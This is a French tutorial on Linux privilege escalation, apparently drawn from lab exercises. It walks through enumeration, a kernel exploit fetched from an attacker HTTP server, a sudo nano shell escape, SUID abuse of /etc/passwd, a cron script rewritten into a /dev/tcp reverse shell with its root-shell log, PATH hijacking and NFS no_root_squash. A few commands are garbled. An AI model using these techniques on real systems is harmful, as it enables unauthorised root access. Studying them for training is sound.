Linux: élévation de privilèges

Publié par
  1. Enumération
  2. Automatisation
  3. Exploits Kernel
  4. Sudo
  5. SUID
  6. Capabilities
  7. Cron Jobs
  8. PATH
  9. NFS

Il existe différents moyens pour y arriver. Cela dépendra de la configuration de la cible: version du noyau, applications installées, langages d eprogrammation, mots de passe des autres utilisateurs, etc…

L’objectif est évidemment d’obtenir les droits pour accéder à des éléments non-accessibles pour les utilisateurs. C’est une phase essentielle puisque l’objectif est de devenir administrateur du système. Cela nous permettra de modifier des mots de passe, contourner des contrôles d’accès , modifier des configurations, maintenir l’accès, modifier les privilèges d’autres utilisateurs, exécuter des commandes sensibles.

Enumération

Les premières commandes à tester consistent à connaître le nom de la machine, le système, la version du système.

hostname              (retourne le hostname)
uname -a              (informations sur le kernel)
cat /proc/version     (informations sur le kernel + autres)
cat /etc/issue        (informations sur le système d'exploitation)

Un autre élément à vérifier est la liste des processus. La commande ps existe pour cela.

ps                    (liste les processus en cours)
ps -A                 (liste tous les processus)
ps aux                (liste les processus pour tous les utilisateurs)

Une autre chose à vérifier concerne les variables d’environnement.

env                (liste les variables d'environnement)

On s’intéressera notamment aux variables HOME, PATH et SHELL

J’utilise beaucoup la commande sudo -l. Cette commande permet de voir les commandes qu’un utilisateur peut exécuter avec les droits root.

sudo -l            (liste les commandes qu'un utilisateur peut utiliser avec sudo)

Voici d’autres commandes à connaître.

ls -lah            (liste tous les éléments d'un répertoire de façon lisible)
id                 (permet de connaître le niveau de privilèges ainsi que les groupes d'un utilisateur)
cat /etc/passwd    (connaître les utilisateurs d'un système)
history            (historique des commandes: on peut y trouver un pseudo voire un mot de passe)
ip a               (informations sur les interfaces réseau: adresse IP, MAC, etc...)
ip route           (en savoir un peu plus sur le routage)
netstat -a         (liste tous les ports en écoute et les connexions établies)
netstat -at         (liste tous les protocoles TCP)
netstat -au         (liste tous les protocoles UDP)
netstat -l          (liste les ports dans un "listening" mode)
netstat -s          (statistiques réseau par protocole)
netstat -tp         (liste les connexions avec le nom du service et son PID)
netstat -i          (statistiques interfaces réseaux)

La commande find sera aussi très utile pour chercher quelque chose dans le système. On peut notamment trouver des fichiers ayant un bit SUID: celui-ci permet à un fichier d’être lancé avec le niveau du privilège du propriétaire du fichier.

find / -perm -u=s -type f 2>/dev/null        (chercher des fichiers avec un bit SUID)

Enumération: automatisation

En parallèle d’une énumération manuelle, il est bon d’utiliser des outils. Il faudra veiller à choisir le bon outil selon la version du système à énumérer.

Voir ces outils:


Exploits Kernel

Le kernel gère la communication entre composants et applications. Un exploit sur ce kernel nous mènera aux droits root. Il convient d’identifier la version du kernel, trouver un exploit et lancer cet exploit.

Une tentative d’exploit qui échoue, peut mener à un crash du système cible. Il faudra donc peser le pour et le contre avant de tester. Il faudra comprendre parfaitement le fonctionnement de l’exploit avant de le lancer.

On utilisera un moteur de recherche, linuxkernelcves.com ou un outil tel que Linux Exploit Suggester comme nous l’avons vu.

Voici un exemple d’attaque sur un serveur Linux version 3.13.0-24-generic.

On trouve un script sur exploit-db. On peut le trouver également via searchsploit.

On va lancer un serveur sur notre machine d’attaque.

root@ip-10-10-100-203:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Puis on récupère le fichier sur le serveur.

root@ip-10-10-100-203:/tmp# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.236.36 - - [23/Dec/2022 12:46:22] "GET /37292.c HTTP/1.1" 200 -
10.10.236.36 - - [23/Dec/2022 12:47:31] code 404, message File not found
10.10.236.36 - - [23/Dec/2022 12:47:31] "GET /7292.c HTTP/1.1" 404 -
10.10.236.36 - - [23/Dec/2022 12:48:55] "GET /37292.c HTTP/1.1" 200 -
10.10.236.36 - - [23/Dec/2022 12:51:33] "GET /37292.c HTTP/1.1" 200 -
10.10.236.36 - - [23/Dec/2022 12:58:36] "GET /37292.c HTTP/1.1" 200 -

Une fois l’exploit installé, on le convertit et on le lance pour obtenir les droits root.


Sudo

Cette commande nous permet de lancer un programme avec les privilèges root. Dans certaines conditions, les administrateurs peuvent être amenés à donner plus de privilèges aux utilisateurs.

Chaque utilisateur peut vérifier son état lié aux privilèges root avec sudo -l.

$ whoami
karen
$ sudo -l
Matching Defaults entries for karen on ip-10-10-140-144:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User karen may run the following commands on ip-10-10-140-144:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

On voit qu’on peut utiliser 3 programmes en mode root sans utiliser de mot de passe.

Nous allons utiliser la commande nano.

On tape sudo nano, Ctrl + R et Ctrl + X, on ajoute cette commande: reset; bash 1>&0 2>&0

Puis on tape sur entrée: les droits root sont obtenus.

Ceci est un exemple. Il faudra se documenter pour les autres commandes permettant d’élever nos privilèges.

SUID

Les niveaux de privilège peuvent changer avec SUID (Set-User IDentification) et SGID (Set-Group IDentification).

Cela permet à certains fichiers d’être exécutés avec le niveau de permission du propriétaire du fichier ou du groupe du fichier. Pour lister ces fichiers, la commande sera:

find / -type f -perm -04000 -ls 2>/dev/null
root@ip-10-10-87-207:~# find / -type f -perm -04000 -ls 2>/dev/null
  1054561    112 -rwsr-xr-x   1 root     root       113336 Jun  9  2020 /sbin/mount.nfs
   393631    304 -rwsr-xr-x   1 root     root       309936 Nov  1 10:43 /opt/BurpSuiteCommunity/burpbrowser/107.0.5304.68/chrome-sandbox
   393249     44 -rwsr-xr-x   1 root     root        44664 Mar 22  2019 /bin/su
   393227     44 -rwsr-xr-x   1 root     root        43088 Mar  5  2020 /bin/mount
   393228     28 -rwsr-xr-x   1 root     root        26696 Mar  5  2020 /bin/umount
   393352     32 -rwsr-xr-x   1 root     root        30800 Aug 11  2016 /bin/fusermount
   393354     64 -rwsr-xr-x   1 root     root        64424 Jun 28  2019 /bin/ping
  1052416     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/bin/su
  1052397     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/bin/mount
  1052422     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/bin/umount
  1052402     64 -rwsr-xr-x   1 root     root        65272 Aug  3  2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/bin/ping
  1053039     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/usr/bin/newgrp
  1052995     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/usr/bin/gpasswd
  1053050     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/usr/bin/passwd
  1052948     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/usr/bin/chsh
  1052945     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /var/lib/docker/overlay2/820c5541ddef28525c6b037300a9cdbe9cf6501111119a0175a284954ff244d7/diff/usr/bin/chfn
  1349136    552 -rwsr-xr-x   1 root     root       564544 May 23  2014 /var/lib/docker/overlay2/46c951fc98a43dc8f672893e16206bfe5ad1c6fc2702004be831e0906b1d5a48/merged/bin/busybox
  1321814    428 -rwsr-xr-x   1 root     root       436552 Oct  6  2019 /var/lib/docker/overlay2/07ce2796954c20ec9838dfd0178ea4545d3060c2d13998992980c4f39d265d29/diff/usr/lib/openssh/ssh-keysign
  1300862     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/bin/su
  1300847     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/bin/mount
  1300868     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/bin/umount
  1301377     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/usr/bin/newgrp
  1301334     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/usr/bin/gpasswd
  1301387     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/usr/bin/passwd
  1301288     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/usr/bin/chsh
  1301285     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /var/lib/docker/overlay2/d36c07d876fa41e6a2ac67cb553af446e73943fb5c968ce9c460f1b0f69f395f/diff/usr/bin/chfn
  1349136    552 -rwsr-xr-x   1 root     root       564544 May 23  2014 /var/lib/docker/overlay2/b1edbd94395a0d2be6536d25cebd166c92e61b260f954af4e5c161c9a494db3f/diff/bin/busybox
  1182832     52 -rwsr-xr--   1 root     syslog      51184 Jul  5  2020 /var/lib/docker/overlay2/ce1c3b656fd9b892a0cfb59ea7e0de97ed7cddbf32509f562f7a3fc7e95ecfe1/diff/usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1182468    156 -rwsr-xr-x   1 root     root       157192 Feb  2  2020 /var/lib/docker/overlay2/ce1c3b656fd9b892a0cfb59ea7e0de97ed7cddbf32509f562f7a3fc7e95ecfe1/diff/usr/bin/sudo
   690943    372 -rwsr-xr--   1 root     dip        378600 Jul 23  2020 /usr/sbin/pppd
   926485     16 -rwsr-xr-x   1 root     root        14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   657576     44 -rwsr-xr--   1 root     messagebus    42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   660024    100 -rwsr-xr-x   1 root     root         100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   655731     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   659249    428 -rwsr-xr-x   1 root     root         436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   692780     12 -rwsr-sr-x   1 root     root          10232 Sep  4  2020 /usr/lib/xorg/Xorg.wrap
   657127     40 -rwsr-xr-x   1 root     root          40344 Mar 22  2019 /usr/bin/newgrp
   655892    148 -rwsr-xr-x   1 root     root         149080 Jan 31  2020 /usr/bin/sudo
   658342     76 -rwsr-xr-x   1 root     root          75824 Mar 22  2019 /usr/bin/gpasswd
   658500     20 -rwsr-xr-x   1 root     root          18448 Jun 28  2019 /usr/bin/traceroute6.iputils
   668752     52 -rwsr-sr-x   1 daemon   daemon        51464 Feb 20  2018 /usr/bin/at
   669168     40 -rwsr-xr-x   1 root     root          37136 Mar 22  2019 /usr/bin/newuidmap
   658343     60 -rwsr-xr-x   1 root     root          59640 Mar 22  2019 /usr/bin/passwd
   685692     24 -rwsr-xr-x   1 root     root          22528 Jun 28  2019 /usr/bin/arping
   658520     24 -rwsr-xr-x   1 root     root          22520 Mar 27  2019 /usr/bin/pkexec
   658340     44 -rwsr-xr-x   1 root     root          44528 Mar 22  2019 /usr/bin/chsh
   669167     40 -rwsr-xr-x   1 root     root          37136 Mar 22  2019 /usr/bin/newgidmap
   658339     76 -rwsr-xr-x   1 root     root          76496 Mar 22  2019 /usr/bin/chfn

On peut comparer ces exécutables avec la liste de GTFOBins.

Un exemple d’utilisation est la commande nano. Nous pouvons ouvrir et sauvegarder les fichiers passwd.txt et shadow.txt dans un fichier. Puis on ajoute un nouvel utilisateur avec les droits root. Dans le fichier /etc/passwd, la ligne du nouvel utilisateur devra se finir par root:/bin/bash

Il n’y aura plus qu’à se connecter avec cet utilisateur pour obtenir les droits root.


Capacités

Une autre méthode utilisée par les administrateurs pour élever le niveau de privilèges d’un processus ou d’un binaire est appelé « Capabilities ». Celles-ci ont une meilleure granularité.

On utilise la commande getcap pour les lister.

On peut donc utiliser vim. Celui-ci n’a pas de bit SUID.

On obtient les droits root avec la commande et le payload ci-dessus.


Cron Jobs

Les cron jobs sont des tâches effectuées à des moments spécifiques. Par défaut, ils sont lancés avec les droits de leur propriétaire.

Si la tâche planifiée est lancée avec les privilèges root, et que le script peut être modifié, alors notre script aura les privilèges root.

On trouve ces tâches dans le fichier /etc/crontab.

Ici, on voit que le fichier backup.sh est lancé toutes les minutes. Ce fichier crée un backup d’un fichier xls. Il nous suffit de modifier le script pour établir un reverse shell.

On modifie le script comme ceci:

#!/bin/bash

bash -i >& /dev/tcp/10.10.87.207/4444 0>&1

Puis on lance un listener sur notre machine et on attend que le cron job soit exécuté côté serveur…

root@ip-10-10-87-207:~# nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
connect to [10.10.87.207] from [10.10.100.50] 43550
bash: cannot set terminal process group (4483): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-100-50:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ip-10-10-100-50:~# whoami
whoami
root
root@ip-10-10-100-50:~#

Il est intéressant de se souvenir de ce passage pour mener aux droits root. Parfois, un administrateur supprime le script lorsqu’il devient inutile. Par contre, il peut ne pas supprimer le cron job !


PATH

Si un dossier dont l’utilisateur a les droits d’écriture, est localisé dans le PATH, on peut peut-être détourner une application pour lancer un script. PATH est une variable d’environnement qui indique au système d’exploitation, où trouver les exécutables.

Pour chaque commande qui n’est pas dans le shell, ou qui n’est pas définie avec un chemin absolu, Linux cherchera dans les dossiers définis par la variable PATH.

root@ip-10-10-246-40:~# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/lib/postgresql/10/bin/:/opt/smbmap
root@ip-10-10-246-40:~# find / -writable 2>/dev/null | grep usr | cut -d "/" -f 2,3 | sort -u
etc/apparmor.d
opt/metasploit-framework-5101
usr
usr/bin
usr/games
usr/i686-w64-mingw32
usr/include
usr/lib
usr/lib32
usr/libexec
usr/local
usr/sbin
usr/share
usr/src
usr/x86_64-w64-mingw32
var/lib

Pour ajouter un autre dossier dans PATH, on fera:

/export PATH=/tmp:$PATH

Pour utiliser cette vulnérabilité, il convient donc dans un premier temps de vérifier quels dossiers sont dans la variable $PATH; si l’utilisateur courant a des droits d’écriture pour certains de ces dossiers; si il peut modifier la variable $PATH; si il y a un script qui peut être démarré et qui sera affecté par cette vulnérabilité.


NFS

Nous pouvons obtenir une élévation de privilèges via accès externe: SSH, Telnet. Un autre moyen est un shell réseau mal configuré. La configuration NFS (Network File Sharing) se trouve dans /etc/exports. Ce fichier est créé durant l’installation du serveur et peut être lu par les utilisateurs.

L’élément le plus important à regarder est la présence de l’option « no_root_squash ». Par défaut, NFS change l’utilisateur root en nfsnobody et empêche tout fichier de fonctionner avec les privilèges root. Si l’option « no_root_squash » est présente pour un partage en écriture, on peut créer un exécutable avec un bit SUID et le lancer sur la machine cible.

Nous allons commencer par énumérer les « mountable shares » depuis notre machine.

root@ip-10-10-36-136:~# showmount -e 10.10.231.56
Export list for 10.10.231.56:
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *

Puis nous allons monter l’un de ces partages « no_root_squash » sur notre machine et commencer notre exécutable.

root@ip-10-10-36-136:~# mkdir /tmp/testattack
root@ip-10-10-36-136:~# mount -o rw 10.10.231.56:/backups /tmp/testattack
mount.nfs: access denied by server while mounting 10.10.231.56:/backups
root@ip-10-10-36-136:~# mount -o rw 10.10.231.56:/backups /tmp/testattack

Puis on compile le code et on lui ajoute le bit SUID.

root@ip-10-10-36-136:~# nano nfs.c
root@ip-10-10-36-136:~# gcc nfs.c -o nfs -w
root@ip-10-10-36-136:~# chmod +s nfs
root@ip-10-10-36-136:~# ls -l nfs
-rwsr-sr-x 1 root root 8392 Dec 23 20:08 nfs

Il suffira de lancer le script sur la machine cible et nous obtiendrons les droits root.


Voici quelques liens intéressants concernant l’élévation de privilèges.

Dans tous les cas, lorsque l’on cherchera à élever nos privilèges dans un système, la logique restera la même.

  • Kernel Exploit
  • Service Exploit
  • Permissions faibles dans /etc/shadow et /etc/passwd
  • sudo -l
  • Variables d’environnement
  • Cron Jobs
  • variable d’environnement PATH
  • Exécutables SUID/SGID
  • recherche de mots de passe ou de clés dans le fichier history, les fichiers de configuration
  • recherche de clé SSH
  • NFS
  • scripts d’élévation de privilèges